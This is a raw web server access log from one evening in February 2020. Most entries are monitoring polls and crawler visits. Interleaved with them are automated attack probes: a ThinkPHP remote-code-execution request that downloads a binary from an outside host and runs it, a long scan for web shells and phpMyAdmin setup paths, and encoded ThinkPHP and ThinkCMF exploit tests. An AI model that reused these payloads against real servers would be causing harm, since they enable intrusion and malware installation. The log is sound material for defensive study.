39.135.1.160 - - [28/Feb/2020:20:24:23 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [28/Feb/2020:20:24:24 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [28/Feb/2020:20:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [28/Feb/2020:20:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.136.118.128 - - [28/Feb/2020:20:28:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:20:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.57.235.240 - - [28/Feb/2020:20:35:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:20:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [28/Feb/2020:20:37:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [28/Feb/2020:20:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.146.101.83 - - [28/Feb/2020:20:39:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:20:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.187.43.123 - - [28/Feb/2020:20:41:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
31.128.20.60 - - [28/Feb/2020:20:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:20:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.4.118.154 - - [28/Feb/2020:20:47:45 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)"
46.4.118.154 - - [28/Feb/2020:20:47:55 +0100] "GET /sitemap.xml HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)"
88.190.148.189 - - [28/Feb/2020:20:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:20:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.172.211.183 - - [28/Feb/2020:20:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
167.172.211.183 - - [28/Feb/2020:20:48:40 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:20:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.9.107 - - [28/Feb/2020:20:55:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
193.112.9.107 - - [28/Feb/2020:20:55:17 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
193.112.9.107 - - [28/Feb/2020:20:55:18 +0100] "POST /Admin51f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [28/Feb/2020:20:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.9.107 - - [28/Feb/2020:20:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
193.112.9.107 - - [28/Feb/2020:20:55:41 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
193.112.9.107 - - [28/Feb/2020:20:55:42 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
193.112.9.107 - - [28/Feb/2020:20:55:42 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
193.112.9.107 - - [28/Feb/2020:20:55:45 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
193.112.9.107 - - [28/Feb/2020:20:56:09 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
193.112.9.107 - - [28/Feb/2020:20:56:33 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [28/Feb/2020:20:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.9.107 - - [28/Feb/2020:20:56:57 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
193.112.9.107 - - [28/Feb/2020:20:57:21 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [28/Feb/2020:20:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.9.107 - - [28/Feb/2020:20:57:45 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
177.93.64.246 - - [28/Feb/2020:20:58:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
193.112.9.107 - - [28/Feb/2020:20:58:09 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
193.112.9.107 - - [28/Feb/2020:20:58:33 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
193.112.9.107 - - [28/Feb/2020:20:58:33 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:33 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:34 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:34 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:35 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [28/Feb/2020:20:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.9.107 - - [28/Feb/2020:20:58:37 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:37 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:37 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:38 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:39 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:41 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:41 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:41 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:42 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:43 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:44 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:45 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:45 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:45 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:45 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:45 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:46 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:47 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:48 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:49 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:49 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:49 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:50 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:51 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:51 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:52 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:52 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:53 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:53 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:53 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:53 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:54 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:54 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:55 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:56 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:57 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:57 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:57 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:58 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:58:59 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:00 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:01 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:01 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:01 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:01 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:02 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:03 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:04 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:04 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:05 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:05 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:05 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:05 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:06 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:07 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:08 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:09 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:09 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:10 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:11 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:13 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:13 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:13 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.9.107 - - [28/Feb/2020:20:59:13 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
